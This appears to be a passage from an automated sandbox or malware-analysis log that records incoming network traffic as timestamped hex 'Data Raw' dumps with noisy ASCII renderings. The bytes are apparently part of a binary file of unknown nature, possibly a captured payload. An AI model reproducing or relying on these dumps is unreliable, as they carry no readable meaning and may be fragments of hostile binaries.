2023-06-07 15:08:48 UTC	326	IN	Data Raw: b3 74 3d 84 a1 bf 5e e2 7a 32 8e e3 51 04 1d 24 bd 8c c6 76 b5 06 fc a2 3f e6 2c ec f4 b8 4d ee c8 45 88 04 34 1c c0 f7 9d 74 8b 31 ce b0 7b 5a 68 7e 52 99 56 eb a0 5c d1 95 a1 76 06 44 a1 fb 46 3c 56 c0 59 52 e3 cd 4d 10 24 e2 db 38 1f f3 4c 03 9d 20 80 87 06 4f 6a 8d 34 df 91 1b ee 2a 2c 39 7e 8a 0f 8b 0e 74 55 5a eb e6 58 21 81 0c f6 b1 26 24 46 6b 18 97 06 d2 00 0e 6a 03 ea e1 30 04 74 46 a8 7d cf 10 30 1c 3e 6a ab 00 ba 7e 50 bd 5e fd 78 80 87 67 7d eb 85 a8 d6 4b b8 8a 42 b1 32 d2 81 f3 1f 9b 79 2b a4 d2 0c 03 eb 4a 2e 42 25 0d ac 1c f2 00 76 30 93 0c 0c 84 a0 66 24 01 d4 58 7c 06 b9 cb bf 88 41 73 00 e0 68 4d 54 4f 4a b6 62 59 e6 27 7e 1b 10 f9 2b 6c b0 d5 51 4d fd 2f cc ff 75 18 be 65 b0 7a e9 86 1c 0b 44 43 a8 f8 d0 54 74 74 0b 63 e6 18 81 fc a7 Data Ascii: t=^z2Q$v?,ME4t1{Zh~RV\vDF<VYRM$8L Oj4*,9~tUZX!&$Fkj0tF}0>j~P^xg}KB2y+J.B%v0f$X\|AshMTOJbY'~+lQM/uezDCTttc
2023-06-07 15:08:48 UTC	342	IN	Data Raw: 08 34 ee 74 3e 5e 2d 68 f4 50 f7 47 14 0d 51 f9 57 0b 9e d4 27 89 1c 46 db 0f 00 73 b2 ce 88 51 79 53 ca 00 7b c4 44 3c d4 33 60 9c c6 43 8b ba ed 11 2b 25 e9 a0 92 6b d8 aa ac 2d 0c f6 58 ae 10 3e 23 45 8b 56 1a bd 3f 66 e6 19 89 04 29 95 25 15 68 f8 72 6b 0e a6 86 0e 0f 11 c1 0f 93 c1 4e 6f 05 56 09 15 97 c3 bb 33 c9 78 49 64 6c e0 95 c1 47 30 30 16 62 95 b0 6e 42 f4 2b 34 54 d8 34 76 60 74 16 e0 14 0a 18 2d 74 f9 07 d8 2a 07 80 43 1a 62 b0 ea c3 96 38 ff 45 71 58 f4 8b f1 8b 78 f0 45 74 3e de c2 40 fc 46 7c 0c c3 8d 16 2b 19 27 ff 53 cb 20 c5 18 30 a2 27 02 67 ac 15 79 33 74 93 35 31 f1 56 78 91 f5 24 52 22 96 43 bc 21 82 44 48 1a af 97 36 84 d8 14 ca b3 0d f0 30 09 a2 1a 49 02 f9 98 c1 1b 9f f8 3b 02 cf 7a 73 e1 21 22 f2 36 02 c3 32 5e b1 f5 0a 24 34 Data Ascii: 4t>^-hPGQW'FsQyS{D<3`C+%k-X>#EV?f)%hrkNoV3xIdlG00bnB+4T4v`t-t*Cb8EqXxEt>@F\|+'S 0'gy3t51Vx$R"C!DH60I;zs!"62^$4
2023-06-07 15:08:48 UTC	358	IN	Data Raw: 89 18 54 da 35 52 0f fb 18 24 20 6c a2 96 b5 a7 50 58 83 d3 51 02 42 b6 42 86 75 4c 69 b9 85 0e 72 3d be f8 4e 09 a2 5d e9 88 44 bb a0 67 0a e8 ef c1 49 5a 33 31 04 16 e6 34 f6 35 5c 09 a0 39 fe 0e 30 8b 04 6d 8d 0a 17 0c 54 f7 04 77 86 f0 fa cd 9e 24 ff 03 46 89 58 20 96 46 b3 4a 2c 92 7c ca 3e 17 10 ba 0f 52 98 a4 5e 1d fc 9d b3 80 81 cb ab 34 71 5d 28 4c 28 52 07 be 34 98 2d bd f9 19 d6 c6 90 c1 57 6c ca 3a 81 80 d0 2e b1 34 59 da 69 83 62 32 42 9b 4c ac b2 c7 35 f0 d9 30 d8 52 8d 44 68 e7 53 66 eb 2e 18 e8 ea 77 18 42 37 7e 6a c5 c5 3a 50 a1 60 75 f0 be 04 7c 23 e5 39 5f 28 ff b2 0d 57 80 60 57 d3 26 45 ea 79 08 af c1 f6 81 24 6e ac b4 f4 76 54 04 38 25 96 db 50 56 8c 06 a2 e3 a4 92 f6 dc f0 26 76 b1 fc 53 31 30 76 66 26 78 83 88 d0 b7 fb e7 45 0d 24 Data Ascii: T5R$ lPXQBBuLir=N]DgIZ3145\90mTw$FX FJ,\|>R^4q](L(R4-Wl:.4Yib2BL50RDhSf.wB7~j:P`u\|#9_(W`W&Ey$nvT8%PV&vS10vf&xE$
2023-06-07 15:08:48 UTC	374	IN	Data Raw: 88 83 0e bf 9e e9 42 05 0b 24 0c 3d 86 ca 0c 15 73 fe 2c 9e d3 c2 db dc 3d 17 8a d1 50 d4 ee d0 d1 e9 09 70 36 0d aa 50 74 7b 9c 98 95 88 46 ca 9e 28 b2 01 b4 c1 43 33 75 b1 e9 cc 0e 61 4e e8 13 70 15 00 b9 04 43 0b 21 92 99 03 c5 5a 3f c4 58 7e d0 ea 8b f7 26 32 34 90 68 68 dd 28 9c e8 10 1a ac a9 b2 05 f5 59 23 43 08 c0 c2 a3 b9 c5 2c 4c 4d 20 13 a5 ab c7 4f 33 3a 12 d0 e9 1f 0a f1 ae 2a 9b f6 64 9d 10 af f6 00 b4 db 27 71 69 bf b8 20 c7 5a 4b 04 6b 71 4a 03 37 18 57 69 89 5c d8 f6 ce b1 c9 62 c2 2e ee 75 56 29 9b 8c 8f e5 4d 0c 39 c2 59 75 5e f9 c5 a3 33 04 75 2e b1 50 75 0a 88 e9 16 03 1a c5 39 08 57 1b 89 4e d8 75 c0 7c 59 4b 74 e9 ce 66 fc 06 2e 73 c5 f5 36 9d c0 83 83 40 9f 8a 74 14 16 cb 0c 71 97 2e 21 09 29 fe 92 c7 1c 2c 33 b5 c0 fd 21 26 1f d0 Data Ascii: B$=s,=Pp6Pt{F(C3uaNpC!Z?X~&24hh(Y#C,LM O3:*d'qi ZKkqJ7Wi\b.uV)M9Yu^3u.Pu9WNu\|YKtf.s6@tq.!),3!&
2023-06-07 15:08:48 UTC	390	IN	Data Raw: b6 08 eb e7 27 eb da 0f 29 8c c0 1d b9 04 eb d2 e9 70 ea 23 5d 43 47 69 ce a4 db 95 17 f8 29 a0 39 9e 3e 7e 7b 8b 61 e9 2d cc 86 84 05 e0 f7 40 10 4a 37 03 0d 55 53 e9 03 d0 81 96 86 ef e0 50 a4 20 7b 43 04 44 19 f6 ee 20 b4 f4 5c 35 55 5c 90 2d 8d 35 4f e0 43 af 1d a0 2d 8b 10 43 88 12 3b f5 f9 81 af c3 7c 8a 18 54 86 35 81 d3 36 3e 81 17 5e 78 03 d9 79 24 13 dc 43 5f f7 43 17 56 43 10 40 30 b0 c1 08 1e 0c 26 d2 39 82 a1 11 59 67 f0 d9 19 b7 ed b7 49 28 30 d2 57 36 78 01 a7 f0 23 86 80 84 83 be 8d 01 3e 0b 39 54 b8 7b 8f 81 b5 3a 1f d8 a2 08 b5 83 5d 03 d2 62 cf d3 3e 69 53 a1 69 41 e0 3c e0 6b c3 14 62 e0 0b 06 82 86 3b 6c 03 4b 67 86 9e c0 f8 00 53 d8 22 1f dd a1 02 60 9e 00 b5 e0 45 c3 29 a0 ee 8b 96 9e 05 39 60 7d 32 aa 4b 17 e0 40 15 94 c1 ac 94 e2 Data Ascii: ')p#]CGi)9>~{a-@J7USP {CD \5U\-5OC-C;\|T56>^xy$C_CVC@0&9YgI(0W6x#>9T{:]b>iSiA<kb;lKgS"`E)9`}2K@
2023-06-07 15:08:48 UTC	406	IN	Data Raw: 9f 22 86 36 54 25 21 12 8a 64 14 5c 92 13 f6 02 9c 13 0e 14 30 3e 60 68 c3 53 fe 9f fb 93 3d eb 30 21 47 9f 45 eb 1f 0f bf 46 06 e6 16 12 ce 20 53 da 46 09 09 12 81 07 ce 47 27 b4 cc ca 0c b8 29 e1 6e 79 0c 10 47 65 59 58 9b b7 0d 5c 4f c2 05 8a 4e 05 08 0f 48 6d 06 7e 04 4a 87 3d a3 5c 53 59 ff f2 fe 1b f5 50 3c 3e 09 e0 68 9d cc d0 6f 29 ea d3 92 80 26 c0 54 00 9d 6f f9 88 11 38 89 d2 63 fc 48 10 74 12 65 0c ad 84 8b c8 f1 78 40 43 1f 05 b3 6a 18 25 0a 80 ff 09 8c e3 3e 69 d9 f2 57 28 0b 05 25 1c 03 46 53 bc 94 93 0b d0 1c dd 0d 16 d1 c0 b9 f8 af 20 ed 1b c0 e9 ee 3d 47 62 cc aa 01 68 3d 45 f9 90 4c ac b6 85 02 81 38 0c 7b 8b 21 64 64 8a 97 99 32 14 31 01 17 78 d9 58 0c 4e d6 74 18 03 42 86 48 72 d6 da 30 59 20 70 50 f0 c2 4e 06 85 04 14 d3 26 02 e2 09 Data Ascii: "6T%!d\0>`hS=0!GEF SFG')nyGeYX\ONHm~J=\SYP<>ho)&To8cHtex@Cj%>iW(%FS =Gbh=EL8{!dd21xXNtBHr0Y pPN&
2023-06-07 15:08:48 UTC	422	IN	Data Raw: 42 4e e5 ac 2b da 1f 02 e3 d6 4d 4e b4 1c 75 45 53 3b f3 7e 3a c8 4d 38 11 3b 79 15 81 34 10 c3 c5 22 b0 02 58 8f ec af 4a fa 33 d6 8a c0 2b f2 8b de 91 1c 56 64 60 d6 b7 a5 7f ad ab 52 2d 7a 59 52 e4 ea 9d 0b 1f ef b0 26 3f 74 8d b7 36 46 0a 4a 13 c7 4c 35 e0 e4 e4 c0 59 c4 db 46 af 28 10 46 c5 82 60 56 23 f1 56 ac 83 30 e5 6d 8e 92 4e a5 52 88 ea 00 70 6a b2 6f 70 5a 72 99 1d e0 15 75 64 19 ca 5f 94 52 e6 32 a2 52 75 f8 0b dd 00 f9 3a 2c 50 6a 67 10 03 38 02 7d d8 10 c6 41 03 f4 48 9c a5 c7 74 e3 1c 77 bc 75 a2 10 02 a7 91 eb ca c0 25 49 de f0 67 01 03 ac d3 bc d3 20 5e 01 d4 30 20 53 52 4c b5 b0 70 1f 5a 5d d0 85 60 0c 20 e6 2b c0 73 20 02 c9 43 66 a3 84 4c c0 3d 27 a2 0d 62 4d 26 95 0c e0 40 9c a2 74 25 45 32 56 af ca 4c 50 8e b9 85 23 81 76 07 0b 92 Data Ascii: BN+MNuES;~:M8;y4"XJ3+Vd`R-zYR&?t6FJL5YF(F`V#V0mNRpjopZrud_R2Ru:,Pjg8}AHtwu%Ig ^0 SRLpZ]` +s CfL='bM&@t%E2VLP#v
2023-06-07 15:08:48 UTC	438	IN	Data Raw: 5f 4c 84 74 5b 57 07 75 1e db 48 05 40 29 13 da c6 26 95 4f 07 59 44 4e 12 51 05 00 1d e1 a5 7b d9 70 09 10 1f 56 72 2a 93 50 00 50 23 06 5e 5d 3a e9 10 a0 c6 c0 55 68 f0 46 01 f5 eb 4b 00 82 32 2c 6c 91 40 aa dc 86 93 4a 12 05 74 c9 19 57 08 c4 6e eb 7e c9 eb 32 3e d3 d6 1f 93 84 50 0a 69 c9 83 ad 4f b2 72 eb 1f 21 80 56 9a c6 e7 c0 6e bb 03 21 33 0a 69 c8 31 33 ce 71 ca 86 d1 3c a7 21 3c 00 61 a2 12 b4 03 bd a9 f8 c4 8b 43 ad 2b 59 96 99 06 43 b2 d4 2e 14 0c 03 03 c1 3a f4 f8 82 7e c7 7a 44 54 8d 43 e8 f2 78 d1 46 03 52 f1 45 86 d8 86 8d 8f 8e 1f fc f0 2c e8 42 17 56 5b 27 4d 2d b2 82 10 03 92 c0 43 24 e0 75 b8 75 f0 eb f6 59 db 35 d8 a9 7d cc 77 14 d5 44 49 4f ca 18 5e 10 d0 ea b0 0e f6 5e 10 6a 01 0a 37 c6 94 b2 14 62 d3 cb 32 da 32 e8 74 71 e2 92 1d Data Ascii: _Lt[WuH@)&OYDNQ{pVr*PP#^]:UhFK2,l@JtWn~2>PiOr!Vn!3i13q<!<aC+YC.:~zDTCxFRE,BV['M-C$uuY5}wDIO^^j7b22tq
2023-06-07 15:08:48 UTC	454	IN	Data Raw: a4 44 34 7b 80 00 b4 a6 74 e4 34 43 18 d4 18 0f bd 48 70 4a 1a cd 6b 90 51 35 9f 45 5c 92 d7 10 7d 39 3a 5b 5a a1 04 d3 ee 2d 2c 62 01 ac 4a 0b c9 88 86 b5 fd 8c 74 48 d0 14 62 10 3d a3 05 6d 1f 00 a4 7c 84 f7 7b a6 60 03 5b 8e 85 01 51 86 10 d3 16 09 06 39 ab 36 96 b4 26 a8 df d0 dd a6 b7 e2 7e 0d 1f 86 40 28 16 28 25 ac 2b 6a 1a 6b 32 ab d1 12 6e 70 ac 40 22 03 86 e1 04 a1 d6 18 48 36 46 c6 42 9f c0 9e 0e ce 61 48 ef e1 00 b5 28 89 32 c6 ee ee e6 26 57 f5 89 03 35 bf 20 f5 9e b9 f2 68 01 19 25 f8 ff 33 04 15 6e 01 21 1e 93 c0 47 41 6a 52 b5 8b 03 0b bb e0 d8 14 54 8b c8 57 53 70 01 70 d2 34 70 50 4c aa e2 76 00 d9 24 3a ff 4e f6 47 57 70 af 77 08 4b 5d 33 05 85 90 f0 c1 24 c0 ac f5 89 83 c8 0e d3 8a 22 95 cc 7d 16 0e 57 40 e7 76 a7 1d ec 90 33 18 6a 3e Data Ascii: D4{t4CHpJkQ5E\}9:[Z-,bJtHb=m\|{`[Q96&~@((%+jk2np@"H6FBaH(2&W5 h%3n!GAjRTWSpp4pPLv$:NGWpwK]3$"}W@v3j>
2023-06-07 15:08:48 UTC	470	IN	Data Raw: 86 82 07 9a 2f 5b c0 93 4d 4a b8 ed c2 df 0e 39 70 16 83 38 04 50 50 0c a6 b5 b1 44 27 48 d0 bb 37 a3 cf 64 83 be 87 2c 0f 8b 9e 64 10 32 75 18 38 cd db d8 ea d0 6c 9e e6 d9 5b 4d dc c9 c8 c9 78 01 0d 23 92 a8 15 79 14 06 72 30 69 da 13 02 d6 c8 0a e0 29 4e 3e 27 9b 42 28 03 ec 34 03 ec a5 41 53 69 ec ec 3f 09 7f 1c d9 3c 4d ff f8 ff 5c 04 86 68 19 9d 11 01 91 65 c6 11 86 c9 c6 56 a0 20 f8 0e 13 ae 04 bc f1 03 f3 03 f2 da 27 4f bb 6a 9f 02 e5 16 d0 03 a0 34 24 a4 03 4c 04 84 3c 61 38 3c a9 6c 6a 01 1c 83 0d ab 40 00 3f 84 51 83 91 a0 26 a4 87 91 05 41 1e 10 03 34 c0 01 0c 72 30 dc 96 cc 10 73 70 7c c8 80 0c 80 90 9c 01 32 20 03 40 4c 61 91 0c 72 74 80 0a c9 73 d2 5b 01 b8 02 8a 04 01 17 bb 62 0c 34 f0 a6 56 84 be f6 08 48 b0 93 ed aa b7 89 d3 2d 53 c7 2b Data Ascii: /[MJ9p8PPD'H7d,d2u8l[Mx#yr0i)N>'B(4ASi?<M\heV 'Oj4$L<a8<lj@?Q&A4r0sp\|2 @Larts[b4VH-S+
2023-06-07 15:08:48 UTC	486	IN	Data Raw: 59 75 d2 51 79 08 45 ea cc 0e 02 1d ae 79 a5 b4 ff 5c d5 0f 46 29 ff 34 6f 5c 33 ff 6e 26 ab 55 07 2e ef 73 b9 8b 86 f0 dd 23 f9 9c 89 7e 30 9b db e7 85 a7 ba 04 28 73 08 1b 7d 5e 0b df a5 70 e5 b3 0a 76 0c c5 a9 14 62 ec eb 01 09 e7 4a ef 30 06 80 12 27 a8 d9 33 c0 3a 9e 01 6a 5b 33 3e 34 da 16 b0 48 36 81 47 f2 28 18 04 c7 33 53 10 1e d4 73 b9 86 54 0b fa 70 0f d4 8d 5f 34 fa 0b 63 12 ad 0c 0f 02 41 6f 6f be 7d e0 33 3a f0 c2 0c e4 f5 21 fa 47 e8 b4 bb 15 e8 45 ec 62 a2 4e 06 8c d6 f2 39 5a cf 5a 05 bf 84 fc d0 fc 7c 52 51 6b 82 b8 18 98 c5 66 05 61 25 88 20 3c 75 dc 7d 18 a4 b1 ab 23 b9 5e 88 53 ea 65 89 45 de 9e 4e c8 1e 09 ac 38 26 e4 00 ba 95 81 40 6c 54 da ed 6b db a0 55 1e 57 ac fa 88 08 51 a2 88 5c d0 a0 30 24 fc a2 58 6a 10 f5 41 e0 0c fd d8 8d Data Ascii: YuQyEy\F)4o\3n&U.s#~0(s}^pvbJ0'3:j[3>4H6G(3SsTp_4cAoo}3:!GEbN9ZZ\|RQkfa% <u}#^SeEN8&@lTkUWQ\0$XjA
2023-06-07 15:08:48 UTC	502	IN	Data Raw: cb 1c 47 c7 9e a9 87 1c 8d 9d 62 dc 75 60 88 a1 ff 65 ca f7 2b c3 99 6a 03 1a 16 60 3b 49 b8 3b cf 7a 6a 06 18 6f d2 2b f0 42 3b 48 84 ca 11 4a 3d 89 e5 94 dd 2d 08 62 06 9e 6b ce 03 4d 08 06 82 ca 3c 72 1c 02 91 0a 61 d6 c1 20 4c 16 41 a4 9e a6 81 d1 fa 2b fe 6b c6 50 b8 08 80 d5 76 d4 03 d8 b0 26 0f 45 86 99 78 b5 30 f1 0e b8 24 7e e8 07 4f 6c 03 cf ad 4c 79 54 3d d9 d9 c3 db 01 88 00 07 e2 a8 c7 57 b9 d5 5a 09 51 ec a0 7c c6 9a 8d 3d 93 3b c4 95 88 94 8d 23 73 89 bd 9c 37 91 fb d1 16 bb 01 8b 85 3b c1 8d 2d 6f 86 f5 04 71 93 20 58 73 4f 08 db ea 51 16 bc fd 32 0b 22 aa ab 3a ed 55 d2 ba a4 36 ac 0a a2 ed 10 26 da b3 a3 34 d4 5f 10 b8 ef 9d f6 29 a5 59 18 d8 79 24 8c de a5 8d 7c 63 b0 cb 12 b4 b4 64 dc 7b c3 88 78 c7 95 48 12 07 ea 3b 4f e4 02 d4 61 78 Data Ascii: Gbu`e+j`;I;zjo+B;HJ=-bkM<ra LA+kPv&Ex0$~OlLyT=WZQ\|=;#s7;-oq XsOQ2":U6&4_)Yy$\|cd{xH;Oax
2023-06-07 15:08:48 UTC	518	IN	Data Raw: 21 a9 37 f1 50 8b 00 b9 fe 40 65 1c ae 1a d2 ce 08 3d 6c 03 6f ea 44 40 f8 7f 5b 7a 18 30 41 4a 49 8d 3c 53 66 39 37 75 20 8c 4e 58 47 6c ce 26 f7 5d c6 bb 20 83 ef 02 4e 4c 66 3b 07 74 ed ac 51 65 7c 18 b5 54 d2 2e 24 60 27 99 7d 7b 98 57 34 16 8d 45 69 40 5d 2f 18 72 02 bc 03 00 21 15 89 79 83 3b e0 c2 a0 5a c1 17 2b c1 48 68 15 29 30 03 b0 5c 0c c6 b5 ae 96 d9 d9 12 eb 35 26 ac 5a 22 7d 5c fe 8e 12 86 14 aa e4 62 80 c4 04 1d 16 40 41 c8 68 50 82 65 9d 39 a0 3e 53 4d de 24 03 5a 3b ac fc fc b8 03 5e 2b 8e bc 6f e9 00 2e 89 bc e9 46 6d c9 2d 78 ef 47 7d 48 fa 8f 10 ae 0f 99 79 45 6d e8 3f 8f e9 56 71 81 1c da 08 55 6b d4 b1 a1 95 4c dc ff 72 20 27 57 ac a4 9c 11 c8 95 4c ac a8 14 32 01 72 9c a8 93 4c 32 c8 a8 a0 a4 a8 20 7b 1b 7a 21 51 c4 a4 13 32 0c 57 Data Ascii: !7P@e=loD@[z0AJI<Sf97u NXGl&] NLf;tQe\|T.$`'}{W4Ei@]/r!y;Z+Hh)0\5&Z"}\b@AhPe9>SM$Z;^+o.Fm-xG}HyEm?VqUkLr 'WL2rL2 {z!Q2W
2023-06-07 15:08:48 UTC	534	IN	Data Raw: 6c ca 38 12 94 71 89 e2 60 0b ce f3 93 5d 00 9e 4c 01 13 29 15 80 e1 d2 71 02 0d 60 b0 74 04 24 c5 b5 24 3e 04 7d 6b 14 be d5 d2 72 88 ba 54 48 6a 04 61 80 86 aa 16 8b d7 bc da ba 2e 43 2a f4 f1 13 33 80 40 2a 00 e3 1c 09 63 62 85 09 27 cb 90 0e 94 66 24 4a 48 9b 43 cb e5 4f 74 09 e4 11 56 44 06 70 98 18 65 01 d3 51 51 10 2a d9 47 56 36 48 77 0c 90 f1 16 1e 00 f2 cb 68 d1 2a 03 2f 07 04 9f 9d ef 49 dc c1 0e c8 2c 5f 5e b5 96 1c c8 33 54 0c 0c c4 ba 1c 1a 37 2a ce 09 1c 1b 8b 64 1a 3b 64 8c 23 c8 10 72 d6 56 f8 86 62 a6 2b 41 63 10 a0 e5 41 40 93 10 8e 34 30 90 46 4c 72 75 10 a3 19 0d 83 80 70 d6 eb c8 6c 41 b3 d2 90 a5 81 8e c9 4c 44 58 ac e1 d7 cd a7 73 64 cc f0 13 3f ff 70 61 ce e1 2e 69 17 01 32 c7 59 74 a0 08 11 01 dd 2a 1e 86 89 34 df 07 7d 0b 1c 0c Data Ascii: l8q`]L)q`t$$>}krTHja.C3@cb'f$JHCOtVDpeQQGV6Hwh/I,_^3T7d;d#rVb+AcA@40FLruplALDXsd?pa.i2Yt4}
2023-06-07 15:08:48 UTC	550	IN	Data Raw: 8a e8 0a 36 90 47 45 83 70 4c ad d5 15 cc 43 0c 59 a6 0b 2e 5c 43 a0 e8 2c 1a 25 a4 ba 65 b1 49 2c c0 b8 ef 31 25 04 5c a3 5f 0c b6 92 9e 96 80 fa b2 d1 fc 18 35 23 69 fe eb db 0a 7a 4d bb 0f b6 b9 eb 14 48 00 ee c0 54 7b 88 0a 58 09 d4 9a 92 c6 f0 7e 62 cf 01 13 b1 51 d2 75 e3 63 95 d6 78 b9 b4 eb 45 9b a1 70 02 76 4a 16 a5 4c 60 a3 9d 4b 5d 81 fb 8f 10 4e 7b bc 74 08 0e 14 2c 54 72 21 2f 71 a0 21 ec ec eb f0 42 96 06 34 8d 93 50 f3 c2 8d 21 a3 4e 45 8d 04 51 0b 87 2f 53 42 24 2a 91 26 3b e2 50 46 15 84 48 cf f1 25 6a a5 cf eb 22 c3 6a 85 24 61 52 21 99 d2 ed 16 77 41 98 a9 84 78 25 00 ac 8b 55 eb 7f 83 60 62 4b dd e4 a1 09 bb 0c 11 a5 c0 58 d4 0a 31 75 72 92 40 e4 b2 02 0c d7 a0 27 0a d7 c3 e4 37 19 b9 13 d3 e8 e4 b3 90 e6 f0 43 3d 23 0b 3d 21 76 95 26 Data Ascii: 6GEpLCY.\C,%eI,1%\_5#izMHT{X~bQucxEpvJL`K]N{t,Tr!/q!B4P!NEQ/SB$*&;PFH%j"j$aR!wAx%U`bKX1ur@'7C=#=!v&
2023-06-07 15:08:48 UTC	566	IN	Data Raw: 3b 41 04 32 c4 00 70 ef b2 7c 08 9f d0 08 44 9a 92 4c e8 a2 55 e9 2c 8f e4 e0 61 b4 90 78 86 0c 3d 3e 64 46 28 0d 43 5a f8 f4 01 8a de 41 07 55 d0 00 83 c2 d9 94 99 61 ac 82 16 82 23 24 5c 50 06 9d e1 74 7a 1a 60 ee 54 a4 16 66 41 3f 14 97 93 95 a9 03 a5 78 22 40 67 58 a3 74 c1 2f 1d 18 34 cd 70 12 71 99 0e e9 60 06 8b a9 50 61 21 61 3a 98 00 14 00 35 bc 0a ef 05 67 db f2 89 12 8f 16 5e 5e 7e 20 4a e0 5a c0 43 7c 04 c9 5e 5d b8 b0 ac fe 5c b8 c7 f3 64 8b 1d 23 a3 75 d1 55 fb 04 5c 18 8b 0b 20 ba bc 91 d2 c4 9d 4a 01 a8 76 a5 30 c8 ff fc 3b ae 94 67 4a 66 63 1c 56 bb 0b 0f c5 16 ea 8d 28 5b c9 36 8e 04 56 b0 19 b0 96 d0 2f bc ec 56 65 38 08 2f 16 f4 ce 6e 43 ad 81 a3 23 b4 b0 d3 d8 12 01 54 60 90 c3 7b 2b d1 56 0f 45 fb 43 b5 eb 81 5b c2 b8 f8 6a 08 87 e1 Data Ascii: ;A2p\|DLU,ax=>dF(CZAUa#$\Ptz`TfA?x"@gXt/4pq`Pa!a:5g^^~ JZC\|^]\d#uU\ Jv0;gJfcV([6V/Ve8/nC#T`{+VEC[j
2023-06-07 15:08:48 UTC	582	IN	Data Raw: a1 3d 40 02 96 ff 4a d8 5a bb 1f 6c a7 e9 b0 6e b4 fc e6 84 49 61 b8 70 fb d4 26 bc 70 ea 53 c8 a0 ff c2 81 b8 16 7f 57 72 69 e4 89 a5 2c fe 53 0b a0 69 56 32 0f 8e 8a 51 6a ca 1b 5c 2a be 11 08 3b f8 18 a2 90 ad c7 2d d2 7d da 11 d4 18 08 2d 8f 14 b5 4c 7c 90 ce 06 5d 96 8e b3 3b 2d f0 37 85 91 b6 d4 24 ae 2b 32 6a d0 cd 0a 94 37 3e 44 e4 ff bb 1f f5 61 93 78 55 d8 e3 bb be db 3d 30 66 5a 81 ff 1a 7e 75 0d a4 0b f1 04 f8 3b 95 2f dd 18 f3 3b eb f1 55 1b 51 2f c3 81 a4 bc da d6 53 60 80 4f 9f 39 05 77 26 93 74 34 f1 a3 81 92 9c 00 0f 1e 36 d2 00 b7 cf 06 10 39 6e 5c 8b 5b 69 56 67 46 60 86 75 59 1a 51 6b 00 60 39 81 62 71 0c 29 1a bf 27 2b 0e cb 34 01 84 c4 68 02 1f 41 7a b7 63 73 9c 4d 0d 73 49 42 af 4a 3c c1 9c 46 76 81 66 05 3a 98 4a 06 47 09 e0 6e 23 Data Ascii: =@JZlnIap&pSWri,SiV2Qj\*;-}-L\|];-7$+2j7>DaxU=0fZ~u;/;UQ/S`O9w&t469n\[iVgF`uYQk`9bq)'+4hAzcsMsIBJ<Fvf:JGn#
2023-06-07 15:08:48 UTC	598	IN	Data Raw: 03 10 46 0b 46 a2 09 3d fa 7a 68 0f 9c 43 62 ec e9 9c fb ad a8 6e 59 80 be 59 d8 47 82 52 43 5e b5 82 e5 20 7e 8c 03 c8 2b 55 bc f6 0b 97 10 5e aa 0b 03 00 70 39 f5 20 1b 64 13 9b 85 fb 2e 02 31 38 67 ef bf e7 90 dd 06 26 08 57 08 0e 2c 38 a8 28 18 e5 82 d5 cc 06 9f a3 bb 06 04 23 a7 b5 0b fc 14 78 c8 ac d2 98 a7 fc f4 cc 22 61 18 89 47 c9 92 b6 41 e6 20 61 21 17 3c f4 07 d1 41 67 16 0d f4 06 5b f8 62 a8 70 36 5c 8f 30 f5 14 09 4b 9d 4b d0 d3 98 6c c2 2e 9e 16 ad 91 71 cd 0b c8 48 fc a8 32 cd 04 40 06 0c 06 f6 b8 47 b8 f7 fc 34 32 bc 30 de a5 3c 18 d4 eb 50 4a 96 34 38 10 a1 e9 b4 d3 4e 34 14 44 4c 40 3c 21 cc 6d e7 74 5c b4 20 1f 08 b1 40 c4 30 c0 cd 40 e0 b7 8d 17 f4 ee 41 40 9f 83 8d 83 02 8b 8e f8 94 be 83 03 30 1f 94 0d 51 0b ee 97 9b 4f 21 89 86 39 Data Ascii: FF=zhCbnYYGRC^ ~+U^p9 d.18g&W,8(#x"aGA a!<Ag[bp6\0KKl.qH2@G420<PJ48N4DL@<!mt\ @0@A@0QO!9
2023-06-07 15:08:48 UTC	614	IN	Data Raw: 56 66 79 c6 03 99 4a 12 e1 dc 0c 06 c8 c3 75 41 da 29 40 25 4f 34 38 e1 d3 90 eb 19 34 ac 92 f5 ff b3 d4 af cd 1c c9 41 32 3c 1e 09 89 11 31 5c 6a 50 cf 4e 2e 3f 16 e5 47 05 4e f9 0c d2 c0 8f 06 01 66 6c d3 38 97 14 e6 36 f0 c4 60 c0 17 87 28 8b d8 db dd 53 94 f1 5e b9 c3 eb 43 0b e1 20 ce 17 90 d1 74 81 4e c6 e2 b1 27 95 e0 2e 30 23 39 19 95 1b 5a 7f d4 32 35 0c ef 82 eb 02 6c 22 26 66 51 2b 73 19 c6 8f 4f 5a b7 1d db 01 05 8c 26 43 d6 33 70 cd 49 87 09 12 9e bf 70 42 82 c6 67 75 69 60 87 a8 33 c4 f9 2e 90 3b 28 a1 ec f0 13 64 ad 40 af 46 c7 a5 ec 0a 9c e6 c5 08 01 b0 92 26 19 a0 04 a1 c1 22 a0 f9 f2 a0 d6 d0 bf 09 11 f2 d1 6e 06 10 18 94 03 35 97 bc 80 f0 bf 54 71 f0 33 ec 65 18 42 4f 03 c9 43 0e 66 63 20 22 da 2a d5 c2 7b a0 a4 e4 a6 10 21 77 2a 03 87 Data Ascii: VfyJuA)@%O484A2<1\jPN.?GNfl86`(S^C tN'.0#9Z25l"&fQ+sOZ&C3pIpBgui`3.;(d@F&"n5Tq3eBOCfc "{!w
2023-06-07 15:08:48 UTC	630	IN	Data Raw: 7e 0e 05 00 c3 c8 e9 92 a7 f2 fa 5f 0f 51 a7 5e 41 49 31 4e 41 e2 50 0b 03 36 26 cf 57 f2 2c 62 10 0d 8c ce d6 a9 50 80 b2 b4 b6 da f4 0c 72 07 97 5a d7 78 9d 73 ad 05 a4 27 c0 58 1c 17 9c 00 45 0e 74 4a 5f 12 da d8 a2 f1 d4 a4 65 45 42 4b f2 55 48 c9 57 16 fa 0d 8a 3c 00 d7 7d cb 6b 5b b8 56 22 80 51 2d 5f e1 84 4c 8c f7 10 8b 09 5c 42 49 86 46 b9 0c a3 c8 87 48 d6 74 e4 cc 78 7d 12 4e 12 48 c2 38 9e 90 14 fd d0 8b 0a a0 81 60 41 04 ac fe a9 b0 61 bc 04 fc 2b 23 00 d0 1a 30 ca 6c 00 00 b5 26 08 10 ca 39 11 cd 66 b3 d9 39 12 39 13 39 14 39 15 39 40 19 84 91 0f 0c a9 d3 50 18 00 d9 1f 60 00 ed b8 0e 08 06 12 0c 0b c0 02 43 48 17 15 11 91 26 10 0e 14 26 b2 88 95 7e 36 4d 18 29 e9 11 20 77 94 f5 c1 71 27 cc e9 a0 fa 24 a0 0e 71 20 25 21 c0 6e d8 bd e2 92 8b Data Ascii: ~_Q^AI1NAP6&W,bPrZxs'XEtJ_eEBKUHW<}k[V"Q-_L\BIFHtx}NH8`Aa+#0l&9f99999@P`CH&&~6M) wq'$q 